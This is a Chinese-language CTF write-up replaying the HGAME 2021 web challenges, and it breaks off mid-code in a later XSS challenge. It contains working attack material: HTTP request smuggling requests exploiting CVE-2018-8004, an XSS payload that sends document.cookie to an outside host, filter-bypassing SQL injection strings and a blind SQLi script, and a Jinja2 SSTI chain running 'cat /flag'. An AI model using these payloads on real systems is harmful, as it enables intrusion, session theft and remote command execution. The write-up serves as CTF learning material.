k0t0r1

hgame2021 web 复现
<!-- ---title: hgame2021 web 复现date: 2021-01-31 12:43:...
扫描右侧二维码阅读全文
31
2021/01

hgame2021 web 复现

<!-- ---
title: hgame2021 web 复现
date: 2021-01-31 12:43:53
tags:

- ctf
- web

--- -->
大半年没打过CTF了,考完研来复健一下

Week1

Hitchhiking_in_the_Galaxy

打开页面点击顺风车的链接发现跳回了index.php,查看源码发现

本应该是去到HitchhikerGuide.php却又跳了回来,应该是302

那就抓包一下

405错误,那就用POST试试

改下UA

再改下Referer

加上XFF

少一个回车就会超时,害

watermelon

这题感觉应该是道js题,但怎么都找不到发送分数的api,于是就直接打到2k分出来了

真的是qnm的大西瓜,看flag hgame{do_you_know_cocos_game?} 像是Cocos2d-x游戏引擎的题,八成也是分析js,等wp出来再看看吧

看了下官方wp,是可以用cocos debug tools来操作。不过教程有点少orz

另外,没想到判断是大于1999就给flag,还以为判断是等于2000搞得一直找不到
project.js中可以查找到1999这个字符串

gameOverShowText: function (e, t) {
    if(e > 1999){
        alert(window.atob("aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99"))
    }
}

对应的是gameOverShowText(),里面的内容base64解码即是flag

宝藏走私者

这题进入/secret提示需要有Client-IP并以localhost访问,于是带上Client-IP伪造一下果然失败了

于是尝试找能ssrf的地方,不过就两个页面也没啥功能,又尝试了一下也不行

再回去看看http包

发现服务器是个没看过的,于是就去查ATS的漏洞,查到了两个CVE,不过想应该不会出CVE的题吧于是就略过了,结果没找到什么东西。疯狂挠头一阵后回去看到题目的名字,突然就想到了http走私,于是和ATS一起查了一下居然就查到了,就是刚刚被忽略了CVE-2018-8004
后来hint中也给出了文章
协议层的攻击——HTTP请求走私

这里要先了解两个东西,ATS和http走私
ATS全称Apache Traffic Server,一般架构于网络边缘,用于进行反向代理、缓存储存
然后重点是http走私
上面的文章也说得很清楚了,htt走私主要是由于前端与后端对http请求处理不一致所导致的,主要分为五种

前端处理CL(Content-Length)而后端不处理

结果就是像这样的请求,由于前端根据CL值为44判断是一个请求,而后端不处理CL,直接就认为了这是两个请求

同一请求中有两个CL,而前端只处理第一个,后端处理第二个(CL-CL)

比如像这样一个请求,前端读取第一个CL认为请求体包括了12345\r\na,而后端读取第二个CL,认为请求体只包括到了12345\r\n。于是后面的a就到了缓冲区之中,当又有用户进行这样一个访问时

就会出现没有aGET请求的错误

在http请求中存在CL和TE(Transfer-Encoding),前端只处理的是CL,后端只处理TE(CL-TE)

Transfer-Encoding: chunked下数据格式是这样的

[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

分块大小的值在前,后面是分块数据。当到尾部时,分块大小的值为0,然后以\r\n\r\n结束

像这样的一个请求,前端处理CL后认为请求体为6,包括0\r\n\r\nG。而后端处理TE后,检测到0\r\n\r\n就认为这个请求已经结束了,G就进入了缓冲区。结果就是再发送一个正常的POST请求进来,就会出现没有GPOST请求的错误

前端只处理TE,后端只处理CL(TE-CL)

像这个请求,前端接受后检测到0\r\n\r\n后才认为请求结束,于是就把12\r\nGPOST / HTTP/1.1\r\n\r\n0\r\n\r\n认为是属于请求体的。而后端根据CL值,认为12\r\n请求就结束了,于是连续访问后就会出现没有GPOST请求的错误

前后端都处理TE

这时虽然处理相同了,但我们可以通过对TE进行混淆,使得其中一个服务器不处理TE,结果造成TE-CL/CL-TE的http走私

像这个请求,尝试用两个TE去混淆,使得后端服务器不处理TE只处理CL,造成TE-CL的http走私

而由CVE-2018-8004爆出的ATS的http走私漏洞存在于6.0.0~6.2.27.0.0~7.1.3中,该题中的版本是7.1.2正好可以用。而后续官方对该漏洞提供了4个补丁,同时也是四种利用

3192 如果字段名称后面和冒号前面有空格,则返回400

若在请求中,在一条请求头的请求字段和:之间存在空格字段时,AST不会对其做处理,将其作为正常字段处理,然后直接转发给后端服务器。而当后端服务器处理不了有空格的字段时就会产生问题,像Nginx就会无视该条请求头,不会响应400错误

在这题中我们构造这样的请求

GET / HTTP/1.1
Host: thief.0727.site
Content-Length : 49

GET /secret HTTP/1.1
Host: thief.0727.site
foo:

第一次访问时访问的是/

当我们连续地再访问一次时就访问到了/secret
原因就是ATS接到请求后,没有去处理Content-Length : 49字段与:之间的空格,并认为该GET请求的请求体长度为49,将其作为一个请求发给了后端。而后端处理不了Content-Length : 49,将其忽略,结果就是

GET /secret HTTP/1.1
Host: thief.0727.site
foo:

进入了缓冲区,当我们再访问一次时,后端会响应的请求就是

GET /secret HTTP/1.1
Host: thief.0727.site
foo:GET / HTTP/1.1
Host: thief.0727.site

结果就访问到了/secret
解这道题的方式就是把Client-IP: 127.0.0.1放到第二条请求中,连续访问就行了

3201 当返回400错误时,关闭连接

CVE-2018-8004所涉及到的ATS版本中,当ATS接收到的请求造成了400错误,依旧不会关闭建立了的TCP连接

这题中我们构造这样的一个请求

GET / HTTP/1.1
Host: thief.0727.site
aa:\0bb
cc:dd
GET /secret HTTP/1.1
Host: thief.0727.site

可以看到服务器响应了两个Bad Request
当AST解析这个请求时,遇到了NULL(\0),于是进行截断成两个请求

GET / HTTP/1.1
Host: thief.0727.site
aa:

bb
cc:dd
GET /secret HTTP/1.1
Host: thief.0727.site

由于遇到了NULL,AST就直接对第一个请求响应了400。而第二个请求也明显不符合规范,于是也响应了400

修改一下请求再尝试

GET / HTTP/1.1
Host: thief.0727.site
aa:\0bb
cc:dd
GET /secret HTTP/1.1
Host: thief.0727.site

可以看到这次请求中,第二个请求正常响应了。这里其实我不太理解,第二个请求应该是

bb
GET /secret HTTP/1.1
Host: thief.0727.site

应该也不符合http的规范才对,但却成功响应了,试了几次后发现只要第二个请求行前没有两行都能成功响应,这要去翻翻ATS的手册看看了

除此之外我们也可以通过这种方式进行http走私

GET / HTTP/1.1
Host: thief.0727.site
aa:\0bb
GET http://thief.0727.site/secret HTTP/1.1

通过这种方式,我们可以将第二个请求设置为恶意网站。将这个请求发送给AST服务器,然后等待下一个访问该服务器的用户,这个用户收到的响应就会是我们设置的恶意网站上。不过虽然理论上可行,但利用的条件比较苛刻。像这道题就不适合使用这种攻击

3231 验证请求中的Content-Length头

更加详细的描述是
Content-Length请求头不匹配时,响应400,删除具有相同Content-Length请求头的重复副本,如果存在Transfer-Encoding请求头,则删除Content-Length请求头

也就是说在修复漏洞之前,可能存在CL-TE的利用
像上面分析的,构造报文

GET / HTTP/1.1
Host: thief.0727.site
Content-Length: 6
Transfer-Encoding: chunked

0

G

连续访问两次后出现405错误
这题中我们就直接在下面构造一个新请求,并带上Client-IP:127.0.0.1

连续访问后,第二次的请求就是

GET /secret HTTP/1.1
Host: thief.0727.site
Client-IP:127.0.0.1
aa:bb
GET / HTTP/1.1
Host: thief.0727.site
Content-Length: 73
Transfer-Encoding: chunked

0

这样就成功伪装成127.0.0.1

3251 当缓存命中时,清空请求体

也就是说,在未修复前,当缓存命中之后,是不会清空请求体,将请求体作为第二个请求去处理
像这样

不过这题看起来没有开启AST的缓存功能,因此无法利用

这题写得比较详细主要还是因为之前没实际做过http走私的题,就把CVE-2018-8004中每个利用都尝试了一下,熟练熟练

智商检测鸡

这题做得太窒息了,进去就是一个定积分(刚考完研已经ptsd了)

做是不可能做的,看了下源码发现就几个接口

function getStatus(){
    $.ajax({
        type:"GET",
        url: "/api/getStatus",
        dataType:"json",
        success:function(data){
            let solving = data['solving']
            $("#status").text(solving);
            if(solving === 100)
                getFlag();
        }
    });
}

function getQuestion(){
    $.ajax({
        type: "GET",
        url: "/api/getQuestion",
        dataType: "json",
        xhrFields: {
            withCredentials: true
        },
        crossDomain: true,
        success:function(data){
            $('#integral').html(data['question']);
        }
    });
}

function getFlag(){
    $.ajax({
        type: "GET",
        url: "/api/getFlag",
        dataType: "json",
        success:function(data){
            $('#flag').html(data['flag']);
        }
    });
}

function init(){
    getQuestion();
    getStatus();
}

function submit(){
    $.ajax({
        type: "POST",
        url: "/api/verify",
        data: JSON.stringify({answer:parseFloat($('#answer').val())}),
        dataType: "json",
        contentType: "application/json;charset=utf-8",
        xhrFields: {
            withCredentials: true
        },
        crossDomain: true,
        success: function(data) {
            console.log(data);
            if (data['result'] === true) {
                init();
                $('#alert').html(`
                    <div class="alert alert-success">\n
                        <strong>Right!</strong>\n
                    </div>`)
            } else {
                $('#alert').html(`
                    <div class="alert alert-danger">\n
                        <strong>Wrong!</strong>\n
                    </div>`)
            }
        }
    });
}

于是尝试直接去访问一下,就被嘲讽了

不过看到cookie上的session值感觉是jwt,于是就尝试解一下

session中保存的做题数量,想着是不是把token篡改就可以了,于是就走上了一条不归路orz

不过整个尝试的过程也算学到了些东西,首先是jwt的原理,之前一直没有去认真看过
jwt分为三段,分别是header.payload.signature,都是经过base64编码后去掉尾部=得到的。header中一般存签名的加密方式,payload中存主要的信息,signature就是前面部分经过hmac xxx(加密方式,常用的加密是sha256)得到的数字签名,也就是hmac sha256(header.payload, key),用于防止伪造
一开始我还以为这个key可以得到,猜key可能是pyload的内容,但token中的签名长度只有20位,hmac sha256加密出来的在base64后都是32位,就很懵逼。hmac sha1得到的倒是20位但一直不正确,尝试了各种密码都解不出来

然后看到后台是Werkzeug/1.0.1 Python/3.8.7

搜了一下都是关于flask的,于是查找flask jwt,找到了一篇文章
浅谈flask与ctf那些事
发现其中的session伪造的密钥还是需要通过SSTI去得到,但这个页面看起来没有SSTI点

于是回到题目

提示了积分全都是ax+b的形式,这时候我才想是不是真的要全部算一下啊?!于是就用脚本跑出来了orz

import requests
import urllib
import re
import json
import time

que_url = "http://r4u.top:5000/api/getQuestion"
ver_url = "http://r4u.top:5000/api/verify"
cookie = {"session":"eyJzb2x2aW5nIjowfQ.YBdmjw.XJwVbgzxQkziZiBmOLz-DaESi5M"}

for i in range(100):
    http = requests.get(que_url, cookies=cookie)
    num = re.findall(r"<mn>([^<>]+)</mn>", http.content.decode())
    sign = re.findall(r"<mo>([^<>]+)</mo>", http.content.decode())
    if sign[1] != '(':
        up = int(num[1])
        down = 0-int(num[0])
    a = int(num[2])
    b = int(num[3])
    answer = ((a/2)*(up*up)+b*up)-((a/2)*(down*down)+b*down)

    header = {"Content-Type": "application/json;charset=utf-8"}
    data = json.dumps({"answer":answer})
    print(data)

    http = requests.post(ver_url, data=data, cookies=cookie, headers=header)
    if "true" not in http.content.decode():
        print(cookie)
        exit()
    cookie = {"session":http.cookies['session']}
    print(cookie)
    time.sleep(1)
print(cookie)

整了我一晚,没想到是道脚本题,人都傻了

拿最后的token去访问一下得到flag(假装做了100道

走私者的愤怒

这题是由于之前那题太容易上车了,于是出题人改了一下

可以看到不需要有Client-IP请求字段,服务器会自动携带

试着用之前的方法连续访问,响应了400

多试好几次,好像是不允许一个请求中出现两个Host。我们也可以看到,由于是自动添加Client-IP,因此当我们连续访问时,第二条请求就是

GET /secret HTTP/1.1
Client-IP:127.0.0.1
foo:GET / HTTP/1.1
Host: police.liki.link
Content-Length : 47
Client-IP: IP

由于新的会覆盖旧的,因此服务器依旧会获得我们的真实IP

绕开这个IP获取,只需要把第二次的报文直接作为我们的请求体即可,构造一下

在连续访问后成功得到flag,因为第二次访问时,我们的请求实际上是

GET /secret HTTP/1.1
Host: police.liki.link
Client-IP:127.0.0.1
Content-Length: 200

GET / HTTP/1.1
Host: police.liki.link
Content-Length : 90
Client-IP:127.0.0.1

GET /secret HTTP/1.1
Host: police.liki.link
Client-IP:127.0.0.1
Content-Length: 200

第二的发出的报文全都成为了请求体,因此成功伪造Client-IP

不过还是觉得就算改了题,照样还是可以上车呀

Week2

LazyDogR4U

这题一开始找了一下没找到什么,于是扫一下发现了www.zip,于是开始分析源码
可以看到flag.ini中的密码是md5加密过的,看起来不像是能解出来的

[global]
debug = true

[admin]
username = admin
pass_md5 = b02d455009d3cf71951ba28058b2e615

[testuser]
username = testuser
pass_md5 = 0e114902927253523756713132279690

登录功能很常规,flag需要session中有username才能访问
于是就来分析与题目名有关的lazy.php

<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

foreach(array('_GET','_POST') as $_request){
    foreach ($$_request as $_k => $_v){
        foreach ($filter as $youBadBad){
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${$_k} = $_v;
    }
}


// 自动加载类,这样我也能少打字力,芜湖~
function auto($class_name){
    require_once $class_name . ".php";
}
spl_autoload_register('auto');

auto()用了自动转载,classname可以通过上面修改,但flag.php有验证,感觉没什么意义。主要还是上面这里的处理
本来想着用_SESSSERVERION这样去绕过过滤修改session,但在处理后无法成为数组,传进去也没什么意义。最后想到直接把filter给改了,这样就不用进入这个循环,传入数组也能保留。于是
?filter=0&_SESSION[username]=admin
然后再访问flag.php即可

Post to zuckonit

经典XSS

隔了大半年都不会打XSS了

先测试一下发现script会被替换为div,有iframe向前匹配<,没有出现>闭合时就全替换为<div>svg`http`base需要双写绕过。有on时会找到最后一个on,并将字符串全部逆序,但保留最后一个on不逆序

绕过也很简单,先把要用的内容逆序,然后在尾部加上on即可

一开始没想到on的绕过,于是就找了各式各样的标签尝试,也真的找到了一个<object>
<object data="java&#115;cript:alert(document.domain)"></object>
像这样是可以执行js的,firefox下可以,可惜bot应该是chrome的,chrome下不会自动运行

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object>在这种形势下可以,但是会产生一个新sandbox,解码的语句放在这个sandbox中,无法取得原本的cookie

在找到绕过on的方法后,就直接用<img>打了,构造XSS
<img src=x onerror="t=new XMLHthttptpRequest;t.open('GET', 'hthttptp://ip?'+document.cookie,!0),t.send();">
然后逆序尾部加上on
>";)(dnes.t,)0!,eikooc.tnemucod+'?pi//:ptptthth' ,'TEG'(nepo.t;tseuqeRptptthtHLMX wen=t"=rorreno x=crs gmi<on
这里是先处理on然后再处理http的,因此逆序中还是要双写http

然后md5截断跑一波,提交

放入cookie访问/flag

200OK!!

进入点击reload显示各种错误

直觉在告诉我这是道SQL注入

查看源码发现了requests.js

function randomNum(min, max) {
    return parseInt(Math.random() * (max - min + 1) + min, 10)
}
function request() {
    var status = randomNum(1, 15);
    var req = new XMLHttpRequest();
    req.open("GET", "/server.php", true);
    req.setRequestHeader("Status", status);
    req.onload = function () {
        if (req.readyState === req.DONE) {
            if (req.status === 200) {
                document.getElementById("status").innerText = req.responseText;
                document.getElementById("status").style.color = "red";
            }
        }
    };
    req.send(null);
}

在头部设置了Status发送给后台,于是抓包尝试一下

设置不同的值不同响应,是SQL了

于是尝试一下0'#

没有过滤掉'#,由于出错是无响应的,于是用异或看哪些关键字被过滤了
1'^(length(' ')=1)#

可以看到空格被过滤了,同理可以查出select、from、union被过滤,不过只是replace()双写就可以直接绕过,空格用/**/代替

接着查看数据库名
-1'ununionion/**/selselectect/**/database()#

然后获取表名
-1'ununionion/**/selselectect/**/table_name/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema='week2sqli'/**/limit/**/1#

但无返回的内容

换一下查询的内容
-1'ununionion/**/selselectect/**/1/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema='week2sqli'/**/limit/**/1#

是有响应的,说明我们的语句并没有问题,那就是返回的问题了。最后使用hex()处理返回数据成功获得

-1'ununionion/**/selselectect/**/hex(table_name)/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema='week2sqli'/**/limit/**/1#

再去转成str就行了

-1'ununionion/**/selselectect/**/hex(column_name)/**/frfromom/**/information_schema.columns/**/whewherere/**/table_name='f1111111144444444444g'/**/limit/**/1#
-1'ununionion/**/selselectect/**/hex(ffffff14gggggg)/**/frfromom/**/f1111111144444444444g/**/limit/**/1#

Liki的生日礼物

打开这题,就感觉和去年的那道条件竞争很像

区别是去年的有购入和卖出,今年的只有购入。不过可以看到花完钱就可以买到50张了,差两张我觉得条件竞争还是可行的,于是就放到burpsuit,开100线程跑一波

burpsuit的具体操作看这里
Cosmos的二手市场

跑完回来一看54张,可以直接兑换flag了

Week3

Liki-Jail

看到这个题目,还以为是啥提权的题。进到题目后也没有多少东西,就一个login.php可以交互,一脸懵逼
于是去抓包,看到了有两个服务器,有一个还是没见过的

于是就走上了一条歪路

搜了一下才知道CaddyGolang的web服务器,默认使用https协议,也可以作为代理来使用。根据这些信息,就去查了各种Caddy的CVE,以及Caddy有没有http走私的问题,但都不合适这道题。于是去做了第二题,发现也用的是Caddy,才意识到这个只是一个代理服务器,并不是出题者专门留的洞

于是就去查找有关的apache/2.4.29的CVE,有但感觉也不能用。最后才以瘦死的骆驼比马大的心态,试了一下sql注入,发现居然有过滤。于是就以这个方向来做

通过尝试,可以测出过滤了' " = mid ; 空格=<>regexp这些都可以代替,空格/**/midsubstr;过滤了无法堆叠。' "这两个过滤,可以设置username=1\这样将username的单引号转义,然后和password处的单引号闭合,剩下就随我们注了
响应无回显,且登录不上的响应都相同,于是使用时间盲注

尝试了一下
username=1\&password=or/**/if(length(database())>0,sleep(6),1)#
成功延时,于是写脚本跑盲注,跑出来

库名:week3sqli
表名:u5ers
列名:usern@me p@ssword

但在最后跑内容时
username=1\&password=or/**/if((select/**/length(usern@me)/**/from/**/u5ers)>0,sleep(6),1)#
没有跑出内容,还以为是因为设定是维护所以是空表。尝试写读文件都不太行,查了下权限发现只有USAGE。想提权但感觉也没有什么路子
最后还是回来仔细检查了一下,尝试了
username=1\&password=or/**/if((select/**/count(*)/**/from/**/u5ers)>0,sleep(6),1)#
发现居然延时了,那就是表里是有信息的,但把*换成usern@me又不行

于是就想是不是@是个特殊字符,于是放到phpmyadmin里看看

可以看到@后面的部分变蓝了,查了一下才知道,mysql@是用来标识自定义变量的。而@@是用来标识全局变量的

于是就用`括住列名
or/**/if((select/**/length(usern@me)/**/from/**/u5ers)>0,sleep(6),1)#
就没什么问题了

# -*- coding:utf8 -*-  
import requests
import time

url = r"https://jailbreak.liki.link/login.php"
user = "1\\"

l1 = 0
r1 = 100

while(l1<=r1):
    timeout = 0
    mid1 = (l1 + r1)/2

    # payload = 'or/**/if(length(database())>'+str(mid1)+',sleep(6),1)#'

    # payload = 'or/**/if((select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)>'+str(mid1)+',sleep(6),1)#'
    # payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)>'+str(mid1)+',sleep(6),1)#'
    # payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1)>'+str(mid1)+',sleep(6),1)#'

    # payload = 'or/**/if((select/**/length(`usern@me`)/**/from/**/u5ers)>'+str(mid1)+',sleep(6),1)#'
    payload = 'or/**/if((select/**/length(`p@ssword`)/**/from/**/u5ers)>'+str(mid1)+',sleep(6),1)#'

    data = {"username": user, "password": payload}
    print data
    try:
        http = requests.post(url, data=data, timeout=5)
    except requests.exceptions.Timeout:
        # 超时则>mid1
        l1 = mid1 + 1
        timeout = 1
        time.sleep(2)
    # timeout为0则<=mid1
    if timeout == 0:

        # payload = 'or/**/if(length(database())<'+str(mid1)+',sleep(6),1)#'

        # payload = 'or/**/if((select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)<'+str(mid1)+',sleep(6),1)#'
        # payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)<'+str(mid1)+',sleep(6),1)#'
        # payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1)<'+str(mid1)+',sleep(6),1)#'

        # payload = 'or/**/if((select/**/length(`usern@me`)/**/from/**/u5ers)<'+str(mid1)+',sleep(6),1)#'
        payload = 'or/**/if((select/**/length(`p@ssword`)/**/from/**/u5ers)<'+str(mid1)+',sleep(6),1)#'

        data = {"username": user, "password": payload}
        print data
        try:
            # 未超时则=mid1
            http = requests.post(url, data=data, timeout=5)
            break
        except requests.exceptions.Timeout:
            # 超时则<mid1
            r1 = mid1 - 1
            time.sleep(2)

print "Length:"+str(mid1)

flag = ''

for i in range(mid1):
    l2 = 0
    r2 = 128

    while(l2<=r2):
        timeout = 0
        mid2 = (l2 + r2)/2

        # payload = 'or/**/if(ascii(substr(database(),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'

        # payload = 'or/**/if(ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
        # payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
        # payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'

        # payload = 'or/**/if(ascii(substr((select/**/`usern@me`/**/from/**/u5ers),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
        payload = 'or/**/if(ascii(substr((select/**/`p@ssword`/**/from/**/u5ers),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'

        data = {"username": user, "password": payload}
        print data
        try:
            http = requests.post(url, data=data, timeout=5)
        except requests.exceptions.Timeout:
            # 超时则>mid2
            l2 = mid2 + 1
            timeout = 1
            time.sleep(2)
        # timeout为0则<=mid1
        if timeout == 0:

            # payload = 'or/**/if(ascii(substr(database(),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'

            # payload = 'or/**/if(ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
            # payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
            # payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'

            # payload = 'or/**/if(ascii(substr((select/**/`usern@me`/**/from/**/u5ers),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
            payload = 'or/**/if(ascii(substr((select/**/`p@ssword`/**/from/**/u5ers),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'

            data = {"username": user, "password": payload}
            print data
            try:
                # 未超时则=mid2
                http = requests.post(url, data=data, timeout=5)
                break
            except requests.exceptions.Timeout:
                # 超时则<mid2
                r2 = mid2 - 1
                time.sleep(2)

    flag = flag + chr(mid2)
    print flag

print flag

# or/**/if(length(database())>0,sleep(6),1)#
# or/**/if(ascii(substr(database(),1,1))>0,sleep(6),1)#
# week3sqli

# or/**/if((select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)>0,sleep(6),1)#
# or/**/if(ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),1,1))>0,sleep(6),1)#
# u5ers

# or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)>0,sleep(6),1)#
# or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),1,1))>0,sleep(6),1)#
# usern@me

# or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1)>0,sleep(6),1)#
# or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),1,1))>0,sleep(6),1)#
# p@ssword

# or/**/if((select/**/length(`usern@me`)/**/from/**/u5ers)>0,sleep(6),1)#
# or/**/if(ascii(substr((select/**/`usern@me`/**/from/**/u5ers),0,1))>0,sleep(6),1)#
# admin

# or/**/if((select/**/length(`p@ssword`)/**/from/**/u5ers)<0,sleep(6),1)#
# or/**/if(ascii(substr((select/**/`p@ssword`/**/from/**/u5ers),0,1))>0,sleep(6),1)#
# sOme7hiNgseCretw4sHidd3n

最后登录得到flag

Forgetful

题目描述说到了是用python写的,进入登陆可以添加内容

添加后可以看到,非常像是会有SSTI

于是各种尝试,最后发现在查看页面处有SSTI


于是开始尝试,发现响应过滤了<字母>这种,结果就是通过
{ {().__class__.__bases__[0].__subclasses__()} }

只能得到这样的结果,无法知道类的位置

于是就以这种方式
{ {''.__class__.__mro__[1].__subclasses__()[0].__name__} }
去一个个获得类名,用一个脚本跑一下

import requests
import re

open_url = "https://todolist.liki.link/modify/498"
cookie = {"session":".eJwlj0tqA0EMBe_Say8k9UdqX8boS0IggRl7FXL3TMj-VVHvuz3qyPOt3Z_HK2_t8R7t3sSlewxK8LEgN8sAJu8EwBsW1d7MCbt3qtlrCvehhRPXEhmBg9gnkBGbdawIw9gRYoJInn_aXlHKes0dsQBBDGAsC90S7db8POrx_PrIz6snjBSKMGWRKi3NvlKdycLVXOaSsZXw4l5nHv8n-mw_vxwmPqU.YCgEGg.AQedmev4_7mmqmVVovMr2tWzDK4"}
post_url = "https://todolist.liki.link/modify/498"
view_url = "https://todolist.liki.link/view/498"

subclass = []

for i in range(300):
    https = requests.get(open_url, cookies=cookie)
    csrf = re.findall(r"type=\"hidden\" value=\"([^<>]+)\">", https.content.decode())[0]

    data = {"csrf_token":csrf, "title":"{{''.__class__.__mro__[1].__subclasses__()["+str(i)+"].__name__}}", "status":0, "submit":"提交"}
    print(data)
    post_url = "https://todolist.liki.link/modify/498"
    requests.post(post_url, cookies=cookie, data=data)

    view = requests.get(view_url, cookies=cookie)
    name = re.findall(r"Todo: ([^<>]+)", view.content.decode())[0]
    subclass.append(name)

print(subclass)

取下来后发现_NamespaceLoader在第82位,于是直接读取flag
{ {''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__["sys"].modules["os"].popen('cat /flag').read()} }

响应了stop,估计又是匹配响应不允许输出

于是就一个个去读好了
{ {''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__["sys"].modules["os"].popen('cat /flag').read()[0]} }

import requests
import re

open_url = "https://todolist.liki.link/modify/498"
cookie = {"session":".eJwlj0tqA0EMBe_Say8k9UdqX8boS0IggRl7FXL3TMj-VVHvuz3qyPOt3Z_HK2_t8R7t3sSlewxK8LEgN8sAJu8EwBsW1d7MCbt3qtlrCvehhRPXEhmBg9gnkBGbdawIw9gRYoJInn_aXlHKes0dsQBBDGAsC90S7db8POrx_PrIz6snjBSKMGWRKi3NvlKdycLVXOaSsZXw4l5nHv8n-mw_vxwmPqU.YCgEGg.AQedmev4_7mmqmVVovMr2tWzDK4"}
post_url = "https://todolist.liki.link/modify/498"
view_url = "https://todolist.liki.link/view/498"

flag = ''

for i in range(37):
    https = requests.get(open_url, cookies=cookie)
    csrf = re.findall(r"type=\"hidden\" value=\"([^<>]+)\">", https.content.decode())[0]

    data = {"csrf_token":csrf, "title":"{{''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__[\"sys\"].modules[\"os\"].popen('cat /flag').read()["+str(i)+"]}}", "status":0, "submit":"提交"}
    print(data)
    post_url = "https://todolist.liki.link/modify/498"
    requests.post(post_url, cookies=cookie, data=data)

    view = requests.get(view_url, cookies=cookie)
    name = re.findall(r"Todo: ([^<>]+)", view.content.decode())[0]
    flag = flag+name
    print(flag)

print(flag)

不过复现时乱登录了一下123 123

发现居然登录得进去,里面的payload也可以用,这题都能上车是我没想到的,少用弱密码呀(虽然这题我也用的是123密码)。117对应的类是_wrap_close

水平还是不行啊,linux命令依旧不熟悉,直接用base64就能解决的问题还用啥脚本跑呀
{ {''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__["sys"].modules["os"].popen('cat /flag|base64').read()} }

Post to zuckonit2.0

Week2第二题的升级版,依旧是XSS。和去年一样加上了CSP
Content-Security-Policy default-src 'self'; script-src 'self';
不过实际上难度并不是CSP导致的就是

Hint提示了查看源码,发现/static/www.zip有源码,于是拿下来
看源码才知道是用python写的,主要看app.py中的内容

@app.route('/send', methods=['POST'])
def send():
    if request.form.get('content'):
        content = escape_index(request.form['content'])
        if session.get('contents'):
            content_list = session['contents']
            content_list.append(content)
        else:
            content_list = [content]
        session['contents'] = content_list
        return "post has been sent."
    else:
        return "WELCOME TO HGAME 2021 :)"
def escape_index(original):
    content = original
    content_iframe = re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
    if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
        return content_iframe
    else:
        content = re.sub(r"<*/?(.*?)>?", r"\1", content)
        return content

/send中获得content数据后使用escape_index()对其进行处理
re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
这条正则整了一下才知道是什么意思,第二个参数的"\1 \2 \3"分别对应的是(<?/?iframe) (src=[\"'][a-zA-Z/]{1,8}[\"']) (>?),将其匹配到的内容取出并合并。本地尝试就算少了一个也没关系,但到服务器上就直接返回空
这个正则就限制了我们只能用iframe标签,同时src里的内容又不能超过八位,有点麻烦

再去看/replace

@app.route('/replace', methods=["POST"])
def replace():
    if request.form.get('substr') and request.form.get('replacement'):
